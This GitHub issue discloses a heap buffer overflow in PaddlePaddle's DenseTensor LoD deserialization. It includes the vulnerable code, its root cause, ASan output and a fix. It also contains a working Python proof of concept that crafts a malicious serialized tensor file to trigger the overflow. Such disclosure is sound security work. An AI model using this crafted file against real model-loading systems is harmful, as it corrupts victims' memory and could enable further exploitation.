Skip to content

Heap buffer overflow in DenseTensor stream deserialization (LoD length integer-division truncation) #79492

Description

@Pandya-mayur

bug描述 Describe the Bug

  • Affected component: paddle/phi/core/framework/dense_tensor_serialize.cc (DeserializeFromStream)
  • Reachable via: paddle.base.core.load_dense_tensor(path) (the same phi::DeserializeFromStream used on Paddle's tensor/weight loading paths)
  • Severity: High
  • CVSS 3.1: 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H; 8.1 if the tensor is delivered over the network, AV:N)
  • CWE: CWE-787 Out-of-bounds Write / CWE-190 Integer-related length error
  • Status: Confirmed via AddressSanitizer; framework reachability confirmed on paddlepaddle==3.3.0
  • Affected versions: v3.3.0 release tag and current develop HEAD (verified)

Affected Component

File: paddle/phi/core/framework/dense_tensor_serialize.cc   (line 120 on develop HEAD)
Function: phi::DeserializeFromStream(std::istream&, DenseTensor*, ...)

Vulnerable Code

// the 2nd field, LoD information
uint64_t lod_level = 0;
is.read(reinterpret_cast<char *>(&lod_level), sizeof(lod_level));
auto &lod = *tensor->mutable_lod();
lod.resize(lod_level);
for (uint64_t i = 0; i < lod_level; ++i) {
  uint64_t size = 0;
  is.read(reinterpret_cast<char *>(&size), sizeof(size));      // attacker-controlled
  std::vector<size_t> tmp(size / sizeof(size_t));              // (size/8)*8 bytes
  is.read(reinterpret_cast<char *>(tmp.data()),
          static_cast<std::streamsize>(size));                 // reads FULL `size` -> OOB
  lod[i] = tmp;
}

Root Cause

The destination buffer tmp holds size / sizeof(size_t) elements = (size/8)*8 bytes, but
the subsequent read consumes the full size bytes. Whenever size is not a multiple of
sizeof(size_t) (8), the read writes up to 7 bytes past the heap allocation. The allocation
size and read length are derived from the same value by two different formulas.

Proof of Concept

Framework reachability — craft a serialized tensor with a truncating LoD length and load
it through the framework tensor loader:

import struct, tempfile, os
import paddle.base.core as core

lod_byte_size = 100                        # 100 % 8 == 4  -> 96-byte buffer, 100-byte read
blob  = struct.pack("<I", 0)               # version = 0
blob += struct.pack("<Q", 1)              # lod_level = 1
blob += struct.pack("<Q", lod_byte_size)   # level 0 size (attacker-controlled)
blob += b"\x41" * lod_byte_size
p = os.path.join(tempfile.mkdtemp(), "malicious_weights.pdtensor")
open(p, "wb").write(blob)
core.load_dense_tensor(p)                  # reaches DeserializeFromStream -> overflow

On the (uninstrumented) release wheel the ≤7-byte overflow corrupts adjacent heap silently;
the loader then reaches the following field-read, confirming the vulnerable LoD block ran.

Evidence

AddressSanitizer proof (line-for-line excerpt of DeserializeFromStream, fed the exact bytes
above):

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x508000000080 ...
WRITE of size 100 at 0x508000000080 thread T0
    #0 memcpy
    #2 std::istream::read(char*, long)
    #3 DeserializeFromStream_LoD  dense_tensor_lod_harness.cpp:41
0x508000000080 is located 0 bytes after 96-byte region [0x508000000020,0x508000000080)
allocated by thread T0 here:
    #0 operator new(unsigned long)
    #6 std::vector<unsigned long>::vector(...)
    #7 DeserializeFromStream_LoD  dense_tensor_lod_harness.cpp:40
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy
Image Image Image

exploit_dense_tensor_lod.py
validate.py

asan_crash.txt

How to Reproduce

  1. pip install paddlepaddle==3.3.0
  2. Run the PoC above → it writes malicious_weights.pdtensor and loads it via
    core.load_dense_tensor, reaching the vulnerable LoD parse.
  3. For a deterministic in-memory-safety trace, compile the exact source-excerpt with
    AddressSanitizer (g++ -fsanitize=address ...), or replay the generated
    malicious_weights.pdtensor on a cmake -DWITH_ASAN=ON build of Paddle.

Impact / Real-World Scenario

Serialized tensors / weight blobs are exchanged constantly (checkpoints, model mirrors,
artifact stores, parameter transfer). A victim who loads an attacker-supplied serialized
tensor triggers a heap buffer overflow write with attacker-supplied bytes while the LoD
header is parsed — before any tensor payload is processed. Adjacent heap metadata/objects can
be corrupted, leading to crashes and, depending on allocator/heap layout, potential further
exploitation.

Suggested Remediation

Validate the length before allocating/reading:

uint64_t size = 0;
is.read(reinterpret_cast<char*>(&size), sizeof(size));
PADDLE_ENFORCE_EQ(size % sizeof(size_t), 0, ...);   // reject truncating sizes
PADDLE_ENFORCE_EQ(is.good(), true, ...);
std::vector<size_t> tmp(size / sizeof(size_t));
is.read(reinterpret_cast<char*>(tmp.data()), static_cast<std::streamsize>(size));

Also bound lod_level and size against the remaining stream length.

Environment

  • PaddlePaddle 3.3.0 (CPU wheel) and develop HEAD (source verified)
  • Python 3.12, Ubuntu 24.04, g++ 13 + AddressSanitizer

CC: @luotao1

其他补充信息 Additional Supplementary Information

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions